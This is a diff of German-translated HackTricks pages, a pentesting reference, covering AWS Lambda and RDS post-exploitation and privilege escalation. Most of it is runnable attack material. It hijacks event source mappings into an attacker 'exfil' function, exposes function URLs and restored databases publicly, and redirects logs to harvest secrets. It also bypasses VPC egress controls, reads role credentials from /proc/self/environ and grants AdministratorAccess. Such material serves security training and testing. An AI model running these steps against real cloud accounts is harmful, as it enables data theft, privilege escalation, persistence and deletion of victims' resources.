- Live-Datensätze aus bestehenden streams/queues umleiten und auslesen, ohne producer apps oder victim code zu verändern.
- Potenzielle data exfiltration oder Logikmanipulation, indem der victim's traffic in einer rogue function verarbeitet wird.
## Erforderliche Berechtigungen
- `lambda:ListEventSourceMappings`
- `lambda:GetEventSourceMapping`
- `lambda:UpdateEventSourceMapping`
- Möglichkeit, eine attacker-controlled Lambda bereitzustellen oder zu referenzieren (`lambda:CreateFunction` oder Berechtigung, eine vorhandene zu verwenden).
## Schritte
1) Auflisten der event source mappings für die victim function
```
TARGET_FN=<victim-function-name>
aws lambda list-event-source-mappings --function-name $TARGET_FN \
--query 'EventSourceMappings[].{UUID:UUID,State:State,EventSourceArn:EventSourceArn}'
export MAP_UUID=$(aws lambda list-event-source-mappings --function-name $TARGET_FN \
--query 'EventSourceMappings[0].UUID' --output text)
export EVENT_SOURCE_ARN=$(aws lambda list-event-source-mappings --function-name $TARGET_FN \
--query 'EventSourceMappings[0].EventSourceArn' --output text)
```
2) Bereite eine vom Angreifer kontrollierte Empfänger-Lambda vor (gleiche Region; idealerweise ähnliches VPC/runtime)
```
cat > exfil.py <<'PY'
import json, boto3, os, time
def lambda_handler(event, context):
print(json.dumps(event)[:3000])
b = os.environ.get('EXFIL_S3')
if b:
k = f"evt-{int(time.time())}.json"
boto3.client('s3').put_object(Bucket=b, Key=k, Body=json.dumps(event))
return {'ok': True}
PY
zip exfil.zip exfil.py
ATTACKER_LAMBDA_ROLE_ARN=<role-with-logs-(and optional S3)-permissions>
export ATTACKER_FN_ARN=$(aws lambda create-function \
--function-name ht-esm-exfil \
--runtime python3.11 --role $ATTACKER_LAMBDA_ROLE_ARN \
--handler exfil.lambda_handler --zip-file fileb://exfil.zip \
--query FunctionArn --output text)
```
3) Die Zuordnung auf die attacker function umleiten
```
aws lambda update-event-source-mapping --uuid $MAP_UUID --function-name $ATTACKER_FN_ARN
```
4) Erzeuge ein Ereignis an der Quelle, damit das Mapping ausgelöst wird (Beispiel: SQS)
```
SOURCE_SQS_URL=<queue-url>
aws sqs send-message --queue-url $SOURCE_SQS_URL --message-body '{"x":1}'
```
5) Überprüfen, ob die Angreifer-Funktion das Batch erhält
```
aws logs filter-log-events --log-group-name /aws/lambda/ht-esm-exfil --limit 5
```
6) Optionale Stealth
```
# Pause mapping while siphoning events
aws lambda update-event-source-mapping --uuid $MAP_UUID --enabled false
# Restore original target later
aws lambda update-event-source-mapping --uuid $MAP_UUID --function-name $TARGET_FN --enabled true
```
Hinweise:
- Für SQS ESMs benötigt die Ausführungsrolle der Lambda, die die Queue verarbeitet, `sqs:ReceiveMessage`, `sqs:DeleteMessage` und `sqs:GetQueueAttributes` (managed policy: `AWSLambdaSQSQueueExecutionRole`).
- Die ESM UUID bleibt gleich; nur ihr `FunctionArn` wird geändert, sodass Producer und Quell-ARNs unberührt bleiben.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,46 @@
# AWS - Lambda Function URL öffentliche Exposition (AuthType NONE + Public Invoke Policy)
Turn a private Lambda Function URL into a public unauthenticated endpoint by switching the Function URL AuthType to NONE and attaching a resource-based policy that grants lambda:InvokeFunctionUrl to everyone. This enables anonymous invocation of internal functions and can expose sensitive backend operations.
## Abusing it
- Voraussetzungen: lambda:UpdateFunctionUrlConfig, lambda:CreateFunctionUrlConfig, lambda:AddPermission
- Region: us-east-1
### Schritte
1) Sicherstellen, dass die Funktion eine Function URL hat (Standard ist AWS_IAM):
```
aws lambda create-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true
```
2) Die URL auf public umschalten (AuthType NONE):
```
aws lambda update-function-url-config --function-name $TARGET_FN --auth-type NONE
```
3) Eine ressourcenbasierte Policy-Anweisung hinzufügen, die unauthentifizierten Principals Zugriff erlaubt:
```
aws lambda add-permission --function-name $TARGET_FN --statement-id ht-public-url --action lambda:InvokeFunctionUrl --principal "*" --function-url-auth-type NONE
```
4) Die URL abrufen und ohne Anmeldeinformationen aufrufen:
```
URL=$(aws lambda get-function-url-config --function-name $TARGET_FN --query FunctionUrl --output text)
curl -sS "$URL"
```
### Auswirkung
- Die Lambda-Funktion wird anonym über das Internet erreichbar.
### Beispielausgabe (unauthenticated 200)
```
HTTP 200
https://e3d4wrnzem45bhdq2mfm3qgde40rjjfc.lambda-url.us-east-1.on.aws/
{"message": "HackTricks demo: public Function URL reached", "timestamp": 1759761979, "env_hint": "us-east-1", "event_keys": ["version", "routeKey", "rawPath", "rawQueryString", "headers", "requestContext", "isBase64Encoded"]}
```
### Bereinigung
```
aws lambda remove-permission --function-name $TARGET_FN --statement-id ht-public-url || true
aws lambda update-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true
```

View File

@@ -0,0 +1,51 @@
# AWS Lambda Log Siphon via LoggingConfig.LogGroup Redirection
{{#include ../../../../banners/hacktricks-training.md}}
Missbrauche die erweiterten Logging-Steuerungen `lambda:UpdateFunctionConfiguration`, um die Logs einer Funktion in eine vom Angreifer gewählte CloudWatch Logs Loggruppe umzuleiten. Das funktioniert ohne Änderung des Codes oder der Ausführungsrolle (die meisten Lambda-Rollen beinhalten bereits `logs:CreateLogGroup/CreateLogStream/PutLogEvents` über `AWSLambdaBasicExecutionRole`). Wenn die Funktion Secrets/Request-Bodies ausgibt oder mit Stacktraces abstürzt, kannst du diese aus der neuen Loggruppe sammeln.
## Erforderliche Berechtigungen
- lambda:UpdateFunctionConfiguration
- lambda:GetFunctionConfiguration
- lambda:InvokeFunction (oder verlasse dich auf vorhandene Trigger)
- logs:CreateLogGroup (oft nicht erforderlich, wenn die Funktionsrolle es hat)
- logs:FilterLogEvents (zum Lesen der Events)
## Schritte
1) Erstelle eine Ziel-Loggruppe
```
aws logs create-log-group --log-group-name "/aws/hacktricks/ht-log-sink" --region us-east-1 || true
```
2) Leite die Logs der Ziel-Funktion um
```
aws lambda update-function-configuration \
--function-name <TARGET_FN> \
--logging-config LogGroup=/aws/hacktricks/ht-log-sink,LogFormat=JSON,ApplicationLogLevel=DEBUG \
--region us-east-1
```
Warten Sie, bis `LastUpdateStatus` den Wert `Successful` annimmt:
```
aws lambda get-function-configuration --function-name <TARGET_FN> \
--query LastUpdateStatus --output text
```
3) Sink aufrufen und daraus lesen
```
aws lambda invoke --function-name <TARGET_FN> /tmp/out.json --payload '{"ht":"log"}' --region us-east-1 >/dev/null
sleep 5
aws logs filter-log-events --log-group-name "/aws/hacktricks/ht-log-sink" --limit 50 --region us-east-1 --query 'events[].message' --output text
```
## Auswirkung
- Heimlich alle Anwendungs-/System-Logs in eine von dir kontrollierte Log-Gruppe umleiten und damit die Erwartung umgehen, dass Logs nur in `/aws/lambda/<fn>` landen.
- Sensible Daten exfiltrieren, die von der Funktion ausgegeben oder in Fehlermeldungen sichtbar werden.
## Bereinigung
```
aws lambda update-function-configuration --function-name <TARGET_FN> \
--logging-config LogGroup=/aws/lambda/<TARGET_FN>,LogFormat=Text,ApplicationLogLevel=INFO \
--region us-east-1 || true
```
## Hinweise
- Logging controls sind Teil von Lambdas `LoggingConfig` (LogGroup, LogFormat, ApplicationLogLevel, SystemLogLevel).
- Standardmäßig sendet Lambda Logs an `/aws/lambda/<function>`, aber Sie können auf jeden LogGroup-Namen zeigen; Lambda (oder die execution role) erstellt diesen, wenn es erlaubt ist.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,12 @@
# AWS Lambda Runtime Pinning/Rollback Abuse via PutRuntimeManagementConfig
Missbrauche `lambda:PutRuntimeManagementConfig`, um eine Funktion an eine bestimmte Runtime-Version zu binden (Manual) oder Updates einzufrieren (FunctionUpdate). Das erhält die Kompatibilität mit bösartigen layers/wrappers und kann die Funktion auf einer veralteten, verwundbaren Runtime belassen, um Exploits und langfristige Persistenz zu erleichtern.
Voraussetzungen: `lambda:InvokeFunction`, `logs:FilterLogEvents`, `lambda:PutRuntimeManagementConfig`, `lambda:GetRuntimeManagementConfig`.
Beispiel (us-east-1):
- Invoke: `aws lambda invoke --function-name /tmp/ping.json --payload {} --region us-east-1 > /dev/null; sleep 5`
- Freeze updates: `aws lambda put-runtime-management-config --function-name --update-runtime-on FunctionUpdate --region us-east-1`
- Verify: `aws lambda get-runtime-management-config --function-name --region us-east-1`
Optional kannst du die Funktion an eine spezifische Runtime-Version pinnen, indem du die Runtime Version ARN aus den INIT_START-Logs extrahierst und `--update-runtime-on Manual --runtime-version-arn <arn>` verwendest.

View File

@@ -0,0 +1,63 @@
# AWS Lambda VPC Egress Bypass by Detaching VpcConfig
Force a Lambda function out of a restricted VPC by updating its configuration with an empty VpcConfig (SubnetIds=[], SecurityGroupIds=[]). The function will then run in the Lambda-managed networking plane, regaining outbound internet access and bypassing egress controls enforced by private VPC subnets without NAT.
## Ausnutzung
- Voraussetzungen: `lambda:UpdateFunctionConfiguration` auf der Ziel-Funktion (und `lambda:InvokeFunction` zum Validieren), plus Berechtigungen, Code/Handler zu aktualisieren, falls diese geändert werden.
- Annahmen: Die Funktion ist aktuell mit `VpcConfig` konfiguriert, das auf private Subnets ohne NAT zeigt (daher ist ausgehender Internetverkehr blockiert).
- Region: us-east-1
### Schritte
0) Bereite einen minimalen Handler vor, der beweist, dass ausgehendes HTTP funktioniert
cat > net.py <<'PY'
import urllib.request, json
def lambda_handler(event, context):
try:
ip = urllib.request.urlopen('https://checkip.amazonaws.com', timeout=3).read().decode().strip()
return {"egress": True, "ip": ip}
except Exception as e:
return {"egress": False, "err": str(e)}
PY
zip net.zip net.py
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://net.zip --region $REGION || true
aws lambda update-function-configuration --function-name $TARGET_FN --handler net.lambda_handler --region $REGION || true
1) Aktuelle VPC-Konfiguration sichern (um sie später bei Bedarf wiederherzustellen)
aws lambda get-function-configuration --function-name $TARGET_FN --query 'VpcConfig' --region $REGION > /tmp/orig-vpc.json
cat /tmp/orig-vpc.json
2) Die VPC trennen, indem leere Listen gesetzt werden
aws lambda update-function-configuration \
--function-name $TARGET_FN \
--vpc-config SubnetIds=[],SecurityGroupIds=[] \
--region $REGION
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
3) Aufrufen und ausgehenden Zugriff überprüfen
aws lambda invoke --function-name $TARGET_FN /tmp/net-out.json --region $REGION >/dev/null
cat /tmp/net-out.json
(Optional) Originale VPC-Konfiguration wiederherstellen
if jq -e '.SubnetIds | length > 0' /tmp/orig-vpc.json >/dev/null; then
SUBS=$(jq -r '.SubnetIds | join(",")' /tmp/orig-vpc.json); SGS=$(jq -r '.SecurityGroupIds | join(",")' /tmp/orig-vpc.json)
aws lambda update-function-configuration --function-name $TARGET_FN --vpc-config SubnetIds=[$SUBS],SecurityGroupIds=[$SGS] --region $REGION
fi
### Auswirkungen
- Die Funktion erhält wieder uneingeschränkten ausgehenden Internetzugang, was Datenexfiltration oder C2-Verbindungen von Workloads ermöglicht, die absichtlich in privaten Subnets ohne NAT isoliert waren.
### Beispielausgabe (nach dem Entfernen von VpcConfig)
{"egress": true, "ip": "34.x.x.x"}
### Aufräumen
- Falls temporäre Code-/Handler-Änderungen vorgenommen wurden, diese wiederherstellen.
- Optional die ursprüngliche `VpcConfig` aus /tmp/orig-vpc.json wie oben gezeigt wiederherstellen.

View File

@@ -1,10 +1,10 @@
# AWS - RDS Post Exploitation
# AWS - RDS Nachnutzung
{{#include ../../../banners/hacktricks-training.md}}
## RDS
Für weitere Informationen siehe:
Weitere Informationen:
{{#ref}}
../aws-services/aws-relational-database-rds-enum.md
@@ -12,7 +12,7 @@ Für weitere Informationen siehe:
### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
Wenn der Angreifer genügend Berechtigungen hat, könnte er eine **DB öffentlich zugänglich** machen, indem er einen Snapshot der DB erstellt und dann eine öffentlich zugängliche DB aus dem Snapshot erstellt.
Wenn ein Angreifer über ausreichende Berechtigungen verfügt, kann er eine **DB öffentlich zugänglich** machen, indem er einen Snapshot der DB erstellt und daraus dann eine öffentlich zugängliche DB wiederherstellt.
```bash
aws rds describe-db-instances # Get DB identifier
@@ -40,9 +40,9 @@ aws rds modify-db-instance \
```
### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
Ein Angreifer mit diesen Berechtigungen könnte **ein Snapshot einer DB erstellen** und ihn **öffentlich** **verfügbar** machen. Dann könnte er einfach in seinem eigenen Konto eine DB aus diesem Snapshot erstellen.
Ein Angreifer mit diesen Berechtigungen könnte einen snapshot einer DB erstellen und diesen **öffentlich** **verfügbar** machen. Danach könnte er in seinem eigenen Konto einfach eine DB aus diesem snapshot erstellen.
Wenn der Angreifer **nicht die `rds:CreateDBSnapshot`** hat, könnte er dennoch **andere** erstellte Snapshots **öffentlich** machen.
Wenn der Angreifer **nicht die `rds:CreateDBSnapshot`** hat, könnte er trotzdem **andere** erstellte snapshots **öffentlich** machen.
```bash
# create snapshot
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
@@ -53,30 +53,114 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
```
### `rds:DownloadDBLogFilePortion`
Ein Angreifer mit der Berechtigung `rds:DownloadDBLogFilePortion` kann **Teile der Protokolldateien einer RDS-Instanz herunterladen**. Wenn sensible Daten oder Zugangsdaten versehentlich protokolliert werden, könnte der Angreifer diese Informationen potenziell nutzen, um seine Berechtigungen zu eskalieren oder unbefugte Aktionen durchzuführen.
Ein Angreifer mit der Berechtigung `rds:DownloadDBLogFilePortion` kann **Portionen der Logdateien einer RDS-Instanz herunterladen**. Wenn sensible Daten oder Zugangsdaten versehentlich protokolliert wurden, könnte der Angreifer diese Informationen nutzen, um seine Privilegien zu eskalieren oder unautorisierte Aktionen durchzuführen.
```bash
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
```
**Potenzielle Auswirkungen**: Zugriff auf sensible Informationen oder unbefugte Aktionen mit Hilfe von geleakten Anmeldeinformationen.
**Potenzielle Auswirkung**: Zugriff auf sensible Informationen oder unautorisierte Aktionen mithilfe von leaked credentials.
### `rds:DeleteDBInstance`
Ein Angreifer mit diesen Berechtigungen kann **bestehende RDS-Instanzen DoS**.
Ein Angreifer mit diesen Berechtigungen kann **einen DoS auf bestehende RDS-Instanzen durchführen**.
```bash
# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
```
**Potenzielle Auswirkungen**: Löschung vorhandener RDS-Instanzen und potenzieller Datenverlust.
**Potentielle Auswirkung**: Löschung vorhandener RDS-Instanzen und möglicher Datenverlust.
### `rds:StartExportTask`
> [!HINWEIS]
> TODO: Test
> [!NOTE]
> TODO: Testen
Ein Angreifer mit dieser Berechtigung kann **ein RDS-Instanz-Snapshot in einen S3-Bucket exportieren**. Wenn der Angreifer die Kontrolle über den Ziel-S3-Bucket hat, kann er potenziell auf sensible Daten im exportierten Snapshot zugreifen.
Ein Angreifer mit dieser Berechtigung kann **einen RDS-Instance-Snapshot in einen S3-Bucket exportieren**. Wenn der Angreifer Kontrolle über den Ziel-S3-Bucket hat, kann er potenziell auf sensible Daten im exportierten Snapshot zugreifen.
```bash
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
```
**Potenzielle Auswirkungen**: Zugriff auf sensible Daten im exportierten Snapshot.
**Potentielle Auswirkungen**: Zugriff auf sensible Daten im exportierten Snapshot.
### Cross-Region Automated Backups-Replikation für heimliche Wiederherstellung (`rds:StartDBInstanceAutomatedBackupsReplication`)
Missbrauche die Cross-Region Automated Backups-Replikation, um die automatisierten Backups einer RDS-Instance stillschweigend in eine andere AWS-Region zu duplizieren und dort wiederherzustellen. Der Angreifer kann die wiederhergestellte DB anschließend öffentlich zugänglich machen und das Master-Passwort zurücksetzen, um außerhalb des regulären Betriebs auf Daten in einer Region zuzugreifen, die Verteidiger möglicherweise nicht überwachen.
Erforderliche Berechtigungen (mindestens):
- `rds:StartDBInstanceAutomatedBackupsReplication` in der Ziel-Region
- `rds:DescribeDBInstanceAutomatedBackups` in der Ziel-Region
- `rds:RestoreDBInstanceToPointInTime` in der Ziel-Region
- `rds:ModifyDBInstance` in der Ziel-Region
- `rds:StopDBInstanceAutomatedBackupsReplication` (optionale Bereinigung)
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (um die wiederhergestellte DB zugänglich zu machen)
Auswirkung: Persistenz und Datenexfiltration durch Wiederherstellen einer Kopie von Produktionsdaten in eine andere Region und öffentliches Freigeben mit vom Angreifer kontrollierten Zugangsdaten.
<details>
<summary>End-to-end-CLI (Platzhalter ersetzen)</summary>
```bash
# 1) Recon (SOURCE region A)
aws rds describe-db-instances \
--region <SOURCE_REGION> \
--query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,DBInstanceStatus,PreferredBackupWindow]' \
--output table
# 2) Start cross-Region automated backups replication (run in DEST region B)
aws rds start-db-instance-automated-backups-replication \
--region <DEST_REGION> \
--source-db-instance-arn <SOURCE_DB_INSTANCE_ARN> \
--source-region <SOURCE_REGION> \
--backup-retention-period 7
# 3) Wait for replication to be ready in DEST
aws rds describe-db-instance-automated-backups \
--region <DEST_REGION> \
--query 'DBInstanceAutomatedBackups[*].[DBInstanceAutomatedBackupsArn,DBInstanceIdentifier,Status]' \
--output table
# Proceed when Status is "replicating" or "active" and note the DBInstanceAutomatedBackupsArn
# 4) Restore to latest restorable time in DEST
aws rds restore-db-instance-to-point-in-time \
--region <DEST_REGION> \
--source-db-instance-automated-backups-arn <AUTO_BACKUP_ARN> \
--target-db-instance-identifier <TARGET_DB_ID> \
--use-latest-restorable-time \
--db-instance-class db.t3.micro
aws rds wait db-instance-available --region <DEST_REGION> --db-instance-identifier <TARGET_DB_ID>
# 5) Make public and reset credentials in DEST
# 5a) Create/choose an open SG permitting TCP/3306 (adjust engine/port as needed)
OPEN_SG_ID=$(aws ec2 create-security-group --region <DEST_REGION> \
--group-name open-rds-<RAND> --description open --vpc-id <DEST_VPC_ID> \
--query GroupId --output text)
aws ec2 authorize-security-group-ingress --region <DEST_REGION> \
--group-id "$OPEN_SG_ID" \
--ip-permissions IpProtocol=tcp,FromPort=3306,ToPort=3306,IpRanges='[{CidrIp=0.0.0.0/0}]'
# 5b) Publicly expose restored DB and attach the SG
aws rds modify-db-instance --region <DEST_REGION> \
--db-instance-identifier <TARGET_DB_ID> \
--publicly-accessible \
--vpc-security-group-ids "$OPEN_SG_ID" \
--apply-immediately
aws rds wait db-instance-available --region <DEST_REGION> --db-instance-identifier <TARGET_DB_ID>
# 5c) Reset the master password
aws rds modify-db-instance --region <DEST_REGION> \
--db-instance-identifier <TARGET_DB_ID> \
--master-user-password '<NEW_STRONG_PASSWORD>' \
--apply-immediately
aws rds wait db-instance-available --region <DEST_REGION> --db-instance-identifier <TARGET_DB_ID>
# 6) Connect to <TARGET_DB_ID> endpoint and validate data (example for MySQL)
ENDPOINT=$(aws rds describe-db-instances --region <DEST_REGION> \
--db-instance-identifier <TARGET_DB_ID> \
--query 'DBInstances[0].Endpoint.Address' --output text)
mysql -h "$ENDPOINT" -u <MASTER_USERNAME> -p'<NEW_STRONG_PASSWORD>' -e 'SHOW DATABASES;'
# 7) Optional: stop replication
aws rds stop-db-instance-automated-backups-replication \
--region <DEST_REGION> \
--source-db-instance-arn <SOURCE_DB_INSTANCE_ARN>
```
</details>
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## lambda
Mehr Informationen über lambda in:
Mehr Informationen zu lambda in:
{{#ref}}
../aws-services/aws-lambda-enum.md
@@ -12,11 +12,11 @@ Mehr Informationen über lambda in:
### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`)
Benutzer mit den Berechtigungen **`iam:PassRole`, `lambda:CreateFunction` und `lambda:InvokeFunction`** können ihre Berechtigungen eskalieren.\
Sie können **eine neue Lambda-Funktion erstellen und ihr eine vorhandene IAM-Rolle zuweisen**, wodurch der Funktion die Berechtigungen zugewiesen werden, die mit dieser Rolle verbunden sind. Der Benutzer kann dann **Code in diese Lambda-Funktion schreiben und hochladen (zum Beispiel mit einer rev shell)**.\
Sobald die Funktion eingerichtet ist, kann der Benutzer **ihre Ausführung auslösen** und die beabsichtigten Aktionen, indem er die Lambda-Funktion über die AWS-API aufruft. Dieser Ansatz ermöglicht es dem Benutzer effektiv, Aufgaben indirekt über die Lambda-Funktion auszuführen, wobei er mit dem Zugriffslevel arbeitet, das der zugehörigen IAM-Rolle zugewiesen ist.\\
Benutzer mit den **`iam:PassRole`, `lambda:CreateFunction` und `lambda:InvokeFunction`**-Berechtigungen können ihre Privilegien eskalieren.\
Sie können **eine neue Lambda-Funktion erstellen und ihr eine vorhandene IAM-Rolle zuweisen**, wodurch die Funktion die mit dieser Rolle verknüpften Berechtigungen erhält. Der Benutzer kann dann **Code in diese Lambda-Funktion schreiben und hochladen (z. B. mit einer rev shell)**.\
Sobald die Funktion eingerichtet ist, kann der Benutzer **deren Ausführung auslösen** und die beabsichtigten Aktionen durchführen, indem er die Lambda-Funktion über die AWS API aufruft. Auf diese Weise kann der Benutzer effektiv Aufgaben indirekt über die Lambda-Funktion ausführen und dabei mit dem Zugriffsniveau arbeiten, das der zugewiesenen IAM-Rolle gewährt ist.\\
Ein Angreifer könnte dies ausnutzen, um eine **rev shell zu erhalten und das Token zu stehlen**:
Ein Angreifer könnte dies missbrauchen, um eine **rev shell zu bekommen und das token zu stehlen**:
```python:rev.py
import socket,subprocess,os,time
def lambda_handler(event, context):
@@ -46,8 +46,8 @@ aws lambda invoke --function-name my_function output.txt
# List roles
aws iam list-attached-user-policies --user-name <user-name>
```
Du könntest auch **die Berechtigungen der Lambda-Rolle** von der Lambda-Funktion selbst ausnutzen.\
Wenn die Lambda-Rolle genügend Berechtigungen hatte, könntest du sie verwenden, um dir Administratorrechte zu gewähren:
Du könntest auch **abuse the lambda role permissions** direkt aus der lambda function selbst ausnutzen.\
Wenn die lambda role über genügend Berechtigungen verfügt, könntest du sie verwenden, um dir Adminrechte zu gewähren:
```python
import boto3
def lambda_handler(event, context):
@@ -58,7 +58,7 @@ PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response
```
Es ist auch möglich, die Anmeldeinformationen der Rolle der Lambda-Funktion zu leaken, ohne eine externe Verbindung zu benötigen. Dies wäre nützlich für **netzwerkisolierte Lambdas**, die für interne Aufgaben verwendet werden. Wenn unbekannte Sicherheitsgruppen Ihre Reverse-Shells filtern, ermöglicht Ihnen dieses Stück Code, die Anmeldeinformationen direkt als Ausgabe der Lambda-Funktion zu leaken.
Es ist auch möglich, ein leak der role credentials der lambda zu erzeugen, ohne eine externe Verbindung zu benötigen. Das wäre nützlich für **Network isolated Lambdas**, die für interne Aufgaben verwendet werden. Wenn unbekannte security groups deine reverse shells filtern, ermöglicht dir dieses Code-Stück, ein leak der credentials direkt als Ausgabe der lambda zu erzeugen.
```python
def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
@@ -72,34 +72,34 @@ return {
aws lambda invoke --function-name <lambda_name> output.txt
cat output.txt
```
**Potenzielle Auswirkungen:** Direkte Privilegieneskalation auf die beliebige Lambda-Dienstrolle, die angegeben ist.
**Potentielle Auswirkung:** Direkter privesc auf die angegebene beliebige Lambda-Service-Rolle.
> [!CAUTION]
> Beachten Sie, dass selbst wenn es interessant aussieht, **`lambda:InvokeAsync`** **nicht** allein die **Ausführung von `aws lambda invoke-async`** erlaubt, Sie benötigen auch `lambda:InvokeFunction`.
> Beachte, dass selbst wenn es verlockend erscheinen mag, **`lambda:InvokeAsync`** allein nicht erlaubt, **`aws lambda invoke-async`** auszuführen — du benötigst außerdem **`lambda:InvokeFunction`**
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission`
Wie im vorherigen Szenario können Sie sich die Berechtigung **`lambda:InvokeFunction`** gewähren, wenn Sie die Berechtigung **`lambda:AddPermission`** haben.
Wie im vorherigen Szenario kannst du dir **die Berechtigung `lambda:InvokeFunction`** selbst gewähren, wenn du die Berechtigung **`lambda:AddPermission`** besitzt.
```bash
# Check the previous exploit and use the following line to grant you the invoke permissions
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"
```
**Potenzielle Auswirkungen:** Direkte Privilegieneskalation auf die beliebige Lambda-Dienstrolle, die angegeben ist.
**Potential Impact:** Direkter privesc auf die angegebene beliebige lambda service role.
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping`
Benutzer mit **`iam:PassRole`, `lambda:CreateFunction` und `lambda:CreateEventSourceMapping`** Berechtigungen (und möglicherweise `dynamodb:PutItem` und `dynamodb:CreateTable`) können indirekt **Privilegien eskalieren**, selbst ohne `lambda:InvokeFunction`.\
Benutzer mit **`iam:PassRole`, `lambda:CreateFunction` und `lambda:CreateEventSourceMapping`** Berechtigungen (und möglicherweise `dynamodb:PutItem` und `dynamodb:CreateTable`) können indirekt **escalate privileges** selbst ohne `lambda:InvokeFunction`.\
Sie können eine **Lambda-Funktion mit bösartigem Code erstellen und ihr eine vorhandene IAM-Rolle zuweisen**.
Anstatt die Lambda direkt aufzurufen, richtet der Benutzer eine vorhandene DynamoDB-Tabelle ein oder nutzt sie, indem er sie über eine Ereignisquellenzuordnung mit der Lambda verknüpft. Diese Einrichtung stellt sicher, dass die Lambda-Funktion **automatisch ausgelöst wird, wenn ein neuer Eintrag** in die Tabelle erfolgt, entweder durch die Aktion des Benutzers oder einen anderen Prozess, wodurch die Lambda-Funktion indirekt aufgerufen und der Code mit den Berechtigungen der übergebenen IAM-Rolle ausgeführt wird.
Anstatt die Lambda direkt aufzurufen, richtet der Benutzer eine vorhandene DynamoDB-Tabelle ein oder verwendet sie und verknüpft sie über ein event source mapping mit der Lambda. Diese Konfiguration sorgt dafür, dass die Lambda-Funktion **automatisch bei einem neuen Eintrag** in der Tabelle ausgelöst wird — entweder durch die Aktion des Benutzers oder einen anderen Prozess — und dadurch die Lambda-Funktion indirekt aufgerufen wird und der Code mit den Rechten der übergebenen IAM-Rolle ausgeführt wird.
```bash
aws lambda create-function --function-name my_function \
--runtime python3.8 --role <arn_of_lambda_role> \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip
```
Wenn DynamoDB bereits in der AWS-Umgebung aktiv ist, muss der Benutzer nur **die Ereignisquellenzuordnung** für die Lambda-Funktion festlegen. Wenn DynamoDB jedoch nicht verwendet wird, muss der Benutzer **eine neue Tabelle** mit aktivierten Streams erstellen:
Wenn DynamoDB bereits in der AWS-Umgebung aktiv ist, muss der Benutzer nur **das Event-Source-Mapping für die Lambda-Funktion einrichten**. Wenn DynamoDB jedoch nicht verwendet wird, muss der Benutzer **eine neue Tabelle erstellen** und dabei Streaming aktivieren:
```bash
aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
@@ -107,22 +107,22 @@ aws dynamodb create-table --table-name my_table \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
```
Jetzt ist es möglich, **die Lambda-Funktion mit der DynamoDB-Tabelle zu verbinden**, indem **eine Ereignisquellenzuordnung** erstellt wird:
Jetzt ist es möglich, **die Lambda-Funktion mit der DynamoDB-Tabelle zu verbinden**, indem man **ein event source mapping erstellt**:
```bash
aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn <arn_of_dynamodb_table_stream> \
--enabled --starting-position LATEST
```
Mit der Lambda-Funktion, die mit dem DynamoDB-Stream verknüpft ist, kann der Angreifer **indirekt die Lambda auslösen, indem er den DynamoDB-Stream aktiviert**. Dies kann erreicht werden, indem man **ein Element** in die DynamoDB-Tabelle einfügt:
Mit der an den DynamoDB-Stream gebundenen Lambda-Funktion kann der Angreifer **die Lambda-Funktion indirekt auslösen, indem er den DynamoDB-Stream aktiviert**. Dies kann erreicht werden, indem **ein Item** in die DynamoDB-Tabelle eingefügt wird:
```bash
aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}
```
**Potenzielle Auswirkungen:** Direkte Privilegieneskalation auf die angegebene Lambda-Dienstrolle.
**Potential Impact:** Direkter privesc auf die angegebene lambda-Service-Rolle.
### `lambda:AddPermission`
Ein Angreifer mit dieser Berechtigung kann **sich selbst (oder anderen) beliebige Berechtigungen gewähren** (dies erzeugt ressourcenbasierte Richtlinien, um Zugriff auf die Ressource zu gewähren):
Ein Angreifer mit dieser Berechtigung kann sich **(oder anderen) beliebige Berechtigungen gewähren** (dies erzeugt ressourcenbasierte Policies, um Zugriff auf die Ressource zu gewähren):
```bash
# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>
@@ -130,23 +130,23 @@ aws lambda add-permission --function-name <func_name> --statement-id asdasd --ac
# Invoke the function
aws lambda invoke --function-name <func_name> /tmp/outout
```
**Potenzielle Auswirkungen:** Direkte Privilegieneskalation zum Lambda-Dienstrolle durch Gewährung der Berechtigung zur Modifikation des Codes und dessen Ausführung.
